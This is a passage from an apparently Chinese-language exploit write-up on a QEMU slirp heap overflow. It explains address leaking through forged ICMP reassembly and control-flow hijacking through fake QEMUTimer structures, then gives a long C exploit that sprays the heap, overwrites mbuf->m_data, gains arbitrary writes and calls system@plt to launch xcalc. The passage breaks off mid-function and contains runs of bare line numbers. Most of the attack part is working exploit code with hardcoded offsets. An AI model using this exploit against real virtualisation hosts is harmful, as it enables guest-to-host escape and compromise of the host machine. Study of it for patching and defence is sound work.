} /* if ip->ip_dst.s_addr == alias_addr.s_addr */
break;
case ICMP_UNREACH:
/* XXX? report error? close socket? */
case ICMP_TIMXCEED:
case ICMP_PARAMPROB:
case ICMP_SOURCEQUENCH:
case ICMP_TSTAMP:
case ICMP_MASKREQ:
case ICMP_REDIRECT:
m_free(m);
break;

default:
m_free(m);
} /* swith */

end_error:
/* m is m_free()'d xor put in a socket xor or given to ip_send */
return;
}

icmp_input 函数检测ICMP协议长度以及校验和的合法性,然后根据icp->icmp_type类型执行不同的处理逻辑。当发送ICMP ECHO 数据包时,会调用icmp_reflect 返回数据包。而返回的数据包依然是之前ip_input 传入的mbuf

泄露地址思路:

  1. 利用任意地址写在固定堆地址处(0x7fxxxx000b00)伪造ICMP请求包;
  2. 发送包含MF=1的ICMP请求包;
  3. 利用堆溢出覆盖mbuf->m_data为伪造的ICMP请求包;
  4. 发送包含MF=1的ICMP请求包触发合并,即可得到ICMP reply包。
  5. 接收reply包,并在返回的数据中查找堆基地址与代码段基地址。

劫持控制流

这里利用的是QEMU中比较经典的控制流劫持原语——QemuTimer。

在bss段,存在一个全局变量main_loop_tlg,其是一个QemuTimerList数组。当QEMUTimer->expire_time超时(设置为-1会直接触发),就会执行QEMUTimer->cb(opaque),从而劫持控制流。

攻击方法:

  1. 任意地址写main_loop_tlg ,在堆上伪造QEMUTimerList与QEMUTimer结构体,从而实现控制流劫持;
  2. 任意地址写main_loop_tlg[0]->active_timers ,在堆上伪造QEMUTimer结构体,从而实现控制流劫持。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
typedef void QEMUTimerListNotifyCB(void *opaque, QEMUClockType type);
typedef void QEMUTimerCB(void *opaque);

struct QEMUTimerList {
QEMUClock *clock;
QemuMutex active_timers_lock; // size: 0x38
QEMUTimer *active_timers; // 0x40
QLIST_ENTRY(QEMUTimerList) list;
QEMUTimerListNotifyCB *notify_cb; // 0x58
void *notify_opaque; // 0x60

/* lightweight method to mark the end of timerlist's running */
QemuEvent timers_done_ev;
};

typedef enum {
QEMU_CLOCK_REALTIME = 0,
QEMU_CLOCK_VIRTUAL = 1,
QEMU_CLOCK_HOST = 2,
QEMU_CLOCK_VIRTUAL_RT = 3,
QEMU_CLOCK_MAX
} QEMUClockType;

struct QEMUTimerListGroup {
QEMUTimerList *tl[QEMU_CLOCK_MAX];
};

extern QEMUTimerListGroup main_loop_tlg;

struct QEMUTimer
{
int64_t expire_time;
QEMUTimerList *timer_list;

// cb(opaque)
QEMUTimerCB *cb; // func_ptr
void *opaque; // param

QEMUTimer *next;
int attributes;
int scale;
};


void main_loop_wait(int nonblocking)
{
// ...
qemu_clock_run_all_timers();
}
bool qemu_clock_run_all_timers(void)
{
bool progress = false;
QEMUClockType type;

for (type = 0; type < QEMU_CLOCK_MAX; type++) {
if (qemu_clock_use_for_deadline(type)) {
progress |= qemu_clock_run_timers(type);
}
}
return progress;
}

bool qemu_clock_run_timers(QEMUClockType type)
{
return timerlist_run_timers(main_loop_tlg.tl[type]);
}

bool timerlist_run_timers(QEMUTimerList *timer_list)
{
// ...
switch (timer_list->clock->type) {
case QEMU_CLOCK_REALTIME: // ...
case QEMU_CLOCK_VIRTUAL: // ...
case QEMU_CLOCK_HOST: // ...
case QEMU_CLOCK_VIRTUAL_RT:
if (!replay_checkpoint(CHECKPOINT_CLOCK_VIRTUAL_RT)) {
goto out;
}
break;
}
current_time = qemu_clock_get_ns(timer_list->clock->type);
qemu_mutex_lock(&timer_list->active_timers_lock);
while ((ts = timer_list->active_timers)) {
...
/* run the callback (the timer list can be modified) */
qemu_mutex_unlock(&timer_list->active_timers_lock);
cb(opaque);
qemu_mutex_lock(&timer_list->active_timers_lock);

progress = true;
}
// ...
}

总结漏洞利用整个过程:

  1. 任意地址写在0x7fxxxxb00处写入伪造的ICMP数据包
  2. 堆溢出覆盖ICMP的mbuf->m_data为0x7fxxxxb00,接收ICMP Reply泄露地址
  3. 任意地址写在heapbase + 0x1000伪造QEMUTimerList与QEMUTimer,设置QEMUTimer的cb字段为system@plt
  4. 任意地址写覆盖main_loop_tlg为fake_timer_list
  5. 执行system(“/usr/sbin/xcalc”)

EXP调试

由于EXP不是非常稳定,导致调试过程中QEMU会出现崩溃的情况,所以以下调试结果是笔者多次调试得到的。

  1. 堆喷后申请到的mbuf结构体刚好在so->so_rcv下方。

image-20250627171505375

  1. 堆溢出修改mbuf->m_data为0x0b00 结尾。

image-20250627171810522

  1. 任意地址写

0x7fxxxb00 + 0x318处写入伪造的ICMP地址。

image-20250627172040717

image-20250627172311321

  1. 泄露地址(leak)

泄露地址不是特别稳定,有时候无法泄露程序基地址。

image-20250627174005787

image-20250627173514917

使用wireshark分析捕获到的流量,与上述泄露的数据一致。

image-20250627175022922

  1. 在heapbase + 0x1000处伪造QEMUTimerList与QEMUTimer。

image-20250627180402167

  1. 覆盖main_loop_tlg为fake_timer_list。

触发后,qemu会删除相应的active_timers。

image-20250627200230736

  1. 弹计算器。

image-20250627122656484

image-20250627124307686

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <unistd.h> // close()
#include <assert.h>
#include <string.h> // strcpy, memset(), and memcpy()

#include <netdb.h> // struct addrinfo
#include <sys/types.h> // needed for socket(), uint8_t, uint16_t, uint32_t
#include <sys/socket.h> // needed for socket()
#include <netinet/in.h> // IPPROTO_RAW, IPPROTO_IP, IPPROTO_TCP, INET_ADDRSTRLEN
#include <netinet/ip.h> // struct ip and IP_MAXPACKET (which is 65535)
#include <netinet/ip_icmp.h> // struct icmp, ICMP_ECHO
#define __FAVOR_BSD // Use BSD format of tcp header
#include <netinet/tcp.h> // struct tcphdr
#include <arpa/inet.h> // inet_pton() and inet_ntop()
#include <sys/ioctl.h> // macro ioctl is defined
#include <bits/ioctls.h> // defines values for argument "request" of ioctl.
#include <net/if.h> // struct ifreq
#include <linux/if_ether.h> // ETH_P_IP = 0x0800, ETH_P_IPV6 = 0x86DD
#include <linux/if_packet.h> // struct sockaddr_ll (see man 7 packet)
#include <net/ethernet.h>
#include <sys/time.h> // gettimeofday()

#include <errno.h> // errno, perror()

// Define some constants.
#define ETH_HDRLEN 14 // Ethernet header length
#define IP4_HDRLEN 20 // IPv4 header length
#define TCP_HDRLEN 20 // TCP header length, excludes options data
#define ICMP_HDRLEN 8 // ICMP header length for echo request, excludes data

#define DEBUG

#ifdef DEBUG
#define dbg_printf(fmt, ...) \
do { \
fprintf(stderr, "%s:%d(): " fmt, __func__, __LINE__, ##__VA_ARGS__); \
} while (0)
#else
#define dbg_printf(fmt, ...) \
do { \
} while (0)
#endif

void dbg() {
getchar();
}

//char g_interface[] = "ens2";
char g_interface[] = "eth0";
char host[] = "10.0.2.2";
typedef void *Slirp;
struct socket {};
struct mbuf {
/* XXX should union some of these! */
/* header at beginning of each mbuf: */
struct mbuf *m_next; /* Linked list of mbufs */
struct mbuf *m_prev;
struct mbuf *m_nextpkt; /* Next packet in queue/record */
struct mbuf *m_prevpkt; /* Flags aren't used in the output queue */
int m_flags; /* Misc flags */
int m_size; /* Size of mbuf, from m_dat or m_ext */
struct socket *m_so;
caddr_t m_data; /* Current location of data */
int m_len; /* Amount of data in this mbuf, from m_data */
Slirp *slirp;
bool resolution_requested;
uint64_t expiration_date;
char *m_ext;
/* start of dynamic buffer area, must be last element */
char m_dat[];
};

// some header info to pass to the send_ip_pkt
struct ip_pkt_info {
uint16_t ip_id;
uint16_t ip_off;
bool MF;
uint8_t ip_p;
};

// Function prototypes
uint16_t checksum(uint16_t *, int);
uint16_t icmp4_checksum(struct icmp, uint8_t *, int);
uint16_t tcp4_checksum(struct ip, struct tcphdr, uint8_t *, int);
char *allocate_strmem(int);
uint8_t *allocate_ustrmem(int);
int *allocate_intmem(int);
void spray(int, uint16_t);
void send_ip_pkt(struct ip_pkt_info *, uint8_t *, int);
void leak(uint64_t, int);
int send_raw_pkt();
int arbitrary_write(uint64_t, int, uint8_t *, int, int);
void hexdump(const char *, void *, int);

uint64_t text_base, heap_base;
uint16_t g_spray_ip_id;
int stop_flag;

int main() {
const char eth_frame[] =
"\x52\x56\x00\x00\x00\x02\x52\x54\x00\x12\x34\x56\x08\x00";
struct icmp *icmphdr;
struct ip *iphdr;
uint8_t buf[IP_MAXPACKET];
char src_ip[INET_ADDRSTRLEN], dst_ip[INET_ADDRSTRLEN];
int status;

puts("game start");
memcpy(buf, eth_frame, ETH_HDRLEN);
iphdr = (struct ip *)(buf + ETH_HDRLEN);
strcpy(src_ip, "10.0.2.15");
strcpy(dst_ip, "10.0.2.2");
iphdr->ip_hl = IP4_HDRLEN / sizeof(uint32_t);
iphdr->ip_v = 4;
iphdr->ip_tos = 0;
// 这不需要htons,因为在ip_input里会转换一遍
iphdr->ip_len = (ICMP_HDRLEN);
iphdr->ip_id = (0xcdcd);
// Zero (1 bit)
// Do not fragment flag (1 bit)
// More fragments following flag (1 bit)
// Fragmentation offset (13 bits)
iphdr->ip_off = ((0 << 15) + (0 << 14) + (0 << 13) + (0 >> 3));
iphdr->ip_ttl = 255;
iphdr->ip_p = IPPROTO_ICMP;
if ((status = inet_pton(AF_INET, src_ip, &(iphdr->ip_src))) != 1 ||
(status = inet_pton(AF_INET, dst_ip, &(iphdr->ip_dst))) != 1) {
dbg_printf("inet_pton() failed.\nError message: %s", strerror(status));
exit(EXIT_FAILURE);
}
iphdr->ip_sum = 0;
iphdr->ip_sum = checksum((uint16_t *)&iphdr, IP4_HDRLEN);

icmphdr = (struct icmp *)(buf + ETH_HDRLEN + IP4_HDRLEN);
icmphdr->icmp_type = ICMP_ECHO;
// Message Code (8 bits): echo request
icmphdr->icmp_code = 0;
// Identifier (16 bits): usually pid of sending process - pick a number
icmphdr->icmp_id = htons(1000);
// Sequence Number (16 bits): starts at 0
icmphdr->icmp_seq = htons(0);
// ICMP header checksum (16 bits): set to 0 when calculating checksum
// TBD
// icmphdr->icmp_cksum = icmp4_checksum(icmphdr, data, datalen);
icmphdr->icmp_cksum = icmp4_checksum(*icmphdr, buf, 0);
//const char exec_cmd[] =

//const char exec_cmd[] = "/snap/bin/gnome-calculator";
const char exec_cmd[] = "/usr/bin/xcalc";
memcpy(buf + ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN, exec_cmd,strlen(exec_cmd) + 1);
g_spray_ip_id = 0xaabb;
arbitrary_write(
0x0b00, 3, buf,
ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN + strlen(exec_cmd) + 1, 0x250 + 0x50);
g_spray_ip_id = 0xbbaa;
leak(0x0b00 + 0x318 + 0x14 + ETH_HDRLEN,
3); // reass处理完后会把m_data减掉ip头的长度
dbg_printf("after leak");

dbg();

// fake timer_list
uint64_t fake_timer_list = heap_base + 0x1000;
*(uint64_t *)buf = text_base + 0x121b400; // qemu_clocks
memset(buf + 8, 0, 8 * 6);
*(uint64_t *)(buf + 0x38) = 0x0000000100000000;
*(uint64_t *)(buf + 0x40) = fake_timer_list + 0x70; // active_timers
*(uint64_t *)(buf + 0x48) = 0;
*(uint64_t *)(buf + 0x50) = 0;
*(uint64_t *)(buf + 0x58) = text_base + 0x2fb133; // qemu_timer_notify_cb
*(uint64_t *)(buf + 0x60) = 0;
*(uint64_t *)(buf + 0x68) = 0x0000000100000000;
// end of timer_list
// start of active_timers
/* gdb-peda$ p *timer_list->active_timers
$49 = {
expire_time = 0x22823f5aad00,
timer_list = 0x55a8d2594840,
cb = 0x55a8d0b66a82 <gui_update>,
opaque = 0x55a8d3ae6e50,
next = 0x55a8d3ae6e80,
attributes = 0x0,
scale = 0xf4240
} */
*(uint64_t *)(buf + 0x70) = 0; // expire_time set to 0 will trigger func cb
*(uint64_t *)(buf + 0x78) = fake_timer_list;
*(uint64_t *)(buf + 0x80) = text_base + 0x2ac460; // system plt
//to verify
*(uint64_t *)(buf + 0x88) = heap_base + 0xe38 + 0xa; // parameter address
*(uint64_t *)(buf + 0x90) = 0;
*(uint64_t *)(buf + 0x98) = 0x000f424000000000;
g_spray_ip_id = 0xccbb;
arbitrary_write(fake_timer_list - 0x318, 8, buf, 0xa0, 0x20);
printf("[+]Now we have finished writing fake timer list.\n");

dbg();

stop_flag = 1;
// dbg_printf("check heap here");
// qemu timer
// 改掉全局的main_loop_tlg
*(uint64_t *)buf = fake_timer_list; // qemu_clocks
*(uint64_t *)(buf + 0x8) = fake_timer_list; // qemu_clocks
*(uint64_t *)(buf + 0x10) = fake_timer_list; // qemu_clocks
*(uint64_t *)(buf + 0x18) = fake_timer_list; // qemu_clocks

g_spray_ip_id = 0xddbb;
// main_loop_tlg->tl[QEMU_CLOCK_VIRTUAL] QEMU_CLOCK_VIRTUAL = 1
uint64_t main_loop_tlg = text_base + 0x121b3e0;
arbitrary_write(main_loop_tlg - 0x318, 8, buf, 0x20, 0x20);
printf("[+]Now we have finished writing main_loop_tlg.\n");
getchar();

return 0;
}

void leak(uint64_t addr, int addr_len) {
int s, len, i, recvsd;
struct sockaddr_in ip_addr;
int ret;
struct ip_pkt_info pkt_info;

uint8_t *payload = (uint8_t *)malloc(IP_MAXPACKET);
uint8_t *payload_start = payload;
uint32_t *payload32 = (uint32_t *)payload;
uint64_t *payload64 = (uint64_t *)payload;

memset(payload, 'A', 0x1000);
memcpy(payload, "ama2in9", 7);

dbg_printf("in leak_text...\n");
for (i = 0; i < 0x20; ++i) {
dbg_printf("spraying size 0x2000, id: %d\n", i);
spray(0x2000, g_spray_ip_id + i);
}
dbg_printf("spray finished.\n");
// getchar();

s = socket(AF_INET, SOCK_STREAM, 0);
ip_addr.sin_family = AF_INET;
ip_addr.sin_addr.s_addr = inet_addr(host);
ip_addr.sin_port = htons(113); // vulnerable port
len = sizeof(struct sockaddr_in);
ret = connect(s, (struct sockaddr *)&ip_addr, len);
if (ret == -1) {
perror("0ops: client");
exit(1);
}

pkt_info.ip_id = 0xdead;
pkt_info.ip_off = 0;
pkt_info.MF = 1;
pkt_info.ip_p = IPPROTO_ICMP;
send_ip_pkt(&pkt_info, payload, 0x300 + 4); // 这个packet就在so_rcv的后面

/*
let's overflow here!
send(xxx)
*/
for (i = 0; i < 6; ++i) {
write(s, payload, 0x500); // 不能send一个满的m_buf,因为会有一个off by
// null = =。。。。
usleep(60000); // 不知道为啥,貌似内核会合并包?
// 如果合并了就会off by null...
// 所以sleep一下
dbg_printf("send %d complete\n", i + 1);
}
write(s, payload, 1072);

// actual overflow here
*payload64++ = 0;
*payload64++ = 0x675; // chunk header
*payload64++ = 0; // m_next
*payload64++ = 0; // m_prev
*payload64++ = 0; // m_nextpkt
*payload64++ = 0; // m_prevpkt
payload32 = (uint32_t *)payload64;
*payload32++ = 0; // m_flags
*payload32++ = 0x608; // m_size
payload64 = (uint64_t *)payload32;
*payload64++ = 0; // m_so
payload = (uint8_t *)payload64;
assert(addr_len <= 8);
for (i = 0; i < addr_len; ++i) {
*payload++ = (addr >> (i * 8)) & 0xff; // m_data
}
write(s, payload_start, (uint8_t *)payload - payload_start);
printf("[+]leaking: Now we have finished faking m_data.\n");
//getchar();
// write(s, payload, 0x1000);
dbg_printf("trigger reass!");

dbg(); // dbg mbuf->m_data(icmp) and m_cat

memset(payload, 'A', 0x1000);
memcpy(payload, "ama2in9", 7);
pkt_info.ip_id = 0xdead;
pkt_info.ip_off = 0x300 + 24;
pkt_info.MF = 0;
pkt_info.ip_p = IPPROTO_ICMP;

recvsd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
send_ip_pkt(&pkt_info, payload, 0);
printf("[+]leaking: Now we have finished writting to target.\nAlso, this means we will get the response packet we want.\n");
//getchar();

// we receive data here
int bytes, status;
struct ip *recv_iphdr;
struct icmp *recv_icmphdr;
uint8_t recv_ether_frame[IP_MAXPACKET];
struct sockaddr from;
socklen_t fromlen;
struct timeval wait, t1, t2;
struct timezone tz;
double dt;

(void)gettimeofday(&t1, &tz);
wait.tv_sec = 2;
wait.tv_usec = 0;
setsockopt(recvsd, SOL_SOCKET, SO_RCVTIMEO, (char *)&wait,
sizeof(struct timeval));
recv_iphdr = (struct ip *)(recv_ether_frame + ETH_HDRLEN);
recv_icmphdr = (struct icmp *)(recv_ether_frame + ETH_HDRLEN + IP4_HDRLEN);
int count = 0;
while (1) {
memset(recv_ether_frame, 0, IP_MAXPACKET * sizeof(uint8_t));
memset(&from, 0, sizeof(from));
fromlen = sizeof(from);
if ((bytes = recvfrom(recvsd, recv_ether_frame, IP_MAXPACKET, 0,
(struct sockaddr *)&from, &fromlen)) < 0) {
status = errno;
if (status == EAGAIN) { // EAGAIN = 11
dbg_printf("No reply within %li seconds.\n", wait.tv_sec);
exit(EXIT_FAILURE);
} else if (status == EINTR) { // EINTR = 4
continue;
} else {
perror("recvfrom() failed ");
exit(EXIT_FAILURE);
}
} // End of error handling conditionals.
// hexdump("recv", recv_ether_frame, 0x50);
dbg_printf("recv count %d\n", count++);
if ((((recv_ether_frame[12] << 8) + recv_ether_frame[13]) ==
ETH_P_IP) &&
(recv_iphdr->ip_p == IPPROTO_ICMP) &&
(recv_icmphdr->icmp_type == ICMP_ECHOREPLY)) {
// Stop timer and calculate how long it took to get a reply.
(void)gettimeofday(&t2, &tz);
dt = (double)(t2.tv_sec - t1.tv_sec) * 1000.0 +
(double)(t2.tv_usec - t1.tv_usec) / 1000.0;
// 底下这个可能会segfault
// if (inet_ntop(AF_INET, &(recv_iphdr->ip_src.s_addr), rec_ip,
// INET_ADDRSTRLEN) == NULL) {
// status = errno;
// fprintf(stderr, "inet_ntop() failed.\nError message: %s",
// strerror(status)); exit(EXIT_FAILURE);
// }
dbg_printf("%g ms (%i bytes received)\n", dt, bytes);
#ifdef DEBUG
hexdump("ping recv", recv_ether_frame, bytes);

#endif
if (bytes < 0x200)
continue;
text_base =
((*(uint64_t *)(recv_ether_frame + 0x98)) - 0x8352e0) & ~0xfff; // qobject_output_end_struct
heap_base = (*(uint64_t *)(recv_ether_frame + 0x90)) & ~0xffffff;
dbg_printf("leak text_base: 0x%lx\n"
"leak heap_base: 0x%lx\n",
text_base, heap_base);
// getchar();
break;
} // End if IP ethernet frame carrying ICMP_ECHOREPLY
}

//getchar();
close(s);
close(recvsd);
free(payload_start);
}

int arbitrary_write(uint64_t addr, int addr_len, uint8_t *write_data,
int write_data_len, int spray_times) {
int s, len, i;
struct sockaddr_in ip_addr;
int ret;
struct ip_pkt_info pkt_info;

uint8_t *payload = (uint8_t *)malloc(IP_MAXPACKET);
uint8_t *payload_start = payload;
uint32_t *payload32 = (uint32_t *)payload;
uint64_t *payload64 = (uint64_t *)payload;

memset(payload, 'A', 0x1000);
memcpy(payload, "xmzyshypnc", 10);

for (i = 0; i < spray_times; ++i) {
dbg_printf("spraying size 0x2000, id: %d\n", i);
spray(0x2000, g_spray_ip_id + i);
}
printf("[+]Now we spray to malloc all freed buf.\n");
dbg_printf("spray finished.\n");

// find so->so_rcv

s = socket(AF_INET, SOCK_STREAM, 0);
ip_addr.sin_family = AF_INET;
ip_addr.sin_addr.s_addr = inet_addr(host);
ip_addr.sin_port = htons(113); // vulnerable port
len = sizeof(struct sockaddr_in);
ret = connect(s, (struct sockaddr *)&ip_addr, len);
if (ret == -1) {
perror("oops: client");
exit(1);
}

dbg(); // dbg so->so_rcv and mbuf

pkt_info.ip_id = 0xdead;
pkt_info.ip_off = 0;
pkt_info.MF = 1;
pkt_info.ip_p = 0xff;
send_ip_pkt(&pkt_info, payload, 0x300 + 4); // 这个packet就在so_rcv的后面
printf("[+]Now we finished the malloc of so_rcv and the mbuf.\n");

/*
let's overflow here!
send(xxx)
*/
for (i = 0; i < 6; ++i) {
write(s, payload, 0x500); // 不能send一个满的m_buf,因为会有一个off by
// null = =。。。。
usleep(20000); // 不知道为,貌似内核会合并包?
// 如果合并了就会off by null...
// 所以sleep一下
dbg_printf("send %d complete\n", i + 1);
}
write(s, payload, 1072);
// actual overflow here
*payload64++ = 0;
*payload64++ = 0x675; // chunk header
*payload64++ = 0; // m_next
*payload64++ = 0; // m_prev
*payload64++ = 0; // m_nextpkt
*payload64++ = 0; // m_prevpkt
payload32 = (uint32_t *)payload64;
*payload32++ = 0; // m_flags
*payload32++ = 0x608; // m_size
payload64 = (uint64_t *)payload32;
*payload64++ = 0; // m_so
payload = (uint8_t *)payload64;
assert(addr_len <= 8);
for (i = 0; i < addr_len; ++i) {
*payload++ = (addr >> (i * 8)) & 0xff; // m_data
}
write(s, payload_start, (uint8_t *)payload - payload_start);

printf("[+]Now we have written faked mbuf struct");

dbg(); // dbg mbuf->m_data and m_cat

if (stop_flag) {
puts("trigger!");
getchar();
}
pkt_info.ip_id = 0xdead;
pkt_info.ip_off = 0x300 + 24;
pkt_info.MF = 0;
pkt_info.ip_p = 0xff;
send_ip_pkt(&pkt_info, write_data, write_data_len);
printf("[+]Now we have trigger the written to target addr.\n");

close(s);
free(payload_start);
return 0;
}

// 真正malloc的大小是payloadlen + 64
void send_ip_pkt(struct ip_pkt_info *pkt_info, uint8_t *payload,
int payloadlen) {
int status, sd, *ip_flags, *tcp_flags;
const int on = 1;
char *interface, *src_ip, *dst_ip;
struct ip iphdr;
uint8_t *packet;
struct sockaddr_in sin;
struct ifreq ifr;

// Allocate memory for various arrays.
packet = allocate_ustrmem(IP_MAXPACKET);
interface = allocate_strmem(40);
src_ip = allocate_strmem(INET_ADDRSTRLEN);
dst_ip = allocate_strmem(INET_ADDRSTRLEN);
ip_flags = allocate_intmem(4);
tcp_flags = allocate_intmem(8);

// Interface to send packet through.
strcpy(interface, g_interface);

// Submit request for a socket descriptor to look up interface.
if ((sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket() failed to get socket descriptor for using ioctl() ");
exit(EXIT_FAILURE);
}

// Use ioctl() to look up interface index which we will use to
// bind socket descriptor sd to specified interface with setsockopt() since
// none of the other arguments of sendto() specify which interface to use.
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", interface);
if (ioctl(sd, SIOCGIFINDEX, &ifr) < 0) {
perror("ioctl() failed to find interface ");
exit(EXIT_FAILURE);
}
close(sd);

// Source IPv4 address: you need to fill this out
strcpy(src_ip, "127.0.0.1");
strcpy(dst_ip, "127.0.0.1");

// IPv4 header
// IPv4 header length (4 bits): Number of 32-bit words in header = 5
iphdr.ip_hl = IP4_HDRLEN / sizeof(uint32_t);
// Internet Protocol version (4 bits): IPv4
iphdr.ip_v = 4;
// Type of service (8 bits)
iphdr.ip_tos = 0;
// Total length of datagram (16 bits): IP header + TCP header + TCP data
iphdr.ip_len = htons(IP4_HDRLEN + payloadlen);
// ID sequence number (16 bits): unused, since single datagram
iphdr.ip_id = htons(pkt_info->ip_id);
// Flags, and Fragmentation offset (3, 13 bits): 0 since single datagram
// Zero (1 bit)
ip_flags[0] = 0;
// Do not fragment flag (1 bit)
ip_flags[1] = 0;
// More fragments following flag (1 bit)
ip_flags[2] = pkt_info->MF;
// Fragmentation offset (13 bits)
ip_flags[3] = 0;

iphdr.ip_off =
htons((ip_flags[0] << 15) + (ip_flags[1] << 14) + (ip_flags[2] << 13) +
ip_flags[3] + (pkt_info->ip_off >> 3));
// Time-to-Live (8 bits): default to maximum value
iphdr.ip_ttl = 255;
// Transport layer protocol (8 bits): 6 for TCP
iphdr.ip_p = pkt_info->ip_p;
// iphdr.ip_p = IPPROTO_TCP;

// Source IPv4 address (32 bits)
if ((status = inet_pton(AF_INET, src_ip, &(iphdr.ip_src))) != 1) {
dbg_printf("inet_pton() failed.\nError message: %s", strerror(status));
exit(EXIT_FAILURE);
}

// Destination IPv4 address (32 bits)
if ((status = inet_pton(AF_INET, dst_ip, &(iphdr.ip_dst))) != 1) {
dbg_printf("inet_pton() failed.\nError message: %s", strerror(status));
exit(EXIT_FAILURE);
}

// IPv4 header checksum (16 bits): set to 0 when calculating checksum
iphdr.ip_sum = 0;
iphdr.ip_sum = checksum((uint16_t *)&iphdr, IP4_HDRLEN);

// Prepare packet.
// First part is an IPv4 header.
memcpy(packet, &iphdr, IP4_HDRLEN * sizeof(uint8_t));
// Last part is upper layer protocol data.
memcpy((packet + IP4_HDRLEN), payload, payloadlen * sizeof(uint8_t));

// The kernel is going to prepare layer 2 information (ethernet frame
// header) for us. For that, we need to specify a destination for the kernel
// in order for it to decide where to send the raw datagram. We fill in a
// struct in_addr with the desired destination IP address, and pass this
// structure to the sendto() function.
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = iphdr.ip_dst.s_addr;

// Submit request for a raw socket descriptor.
if ((sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket() failed ");
exit(EXIT_FAILURE);
}

// Set flag so socket expects us to provide IPv4 header.
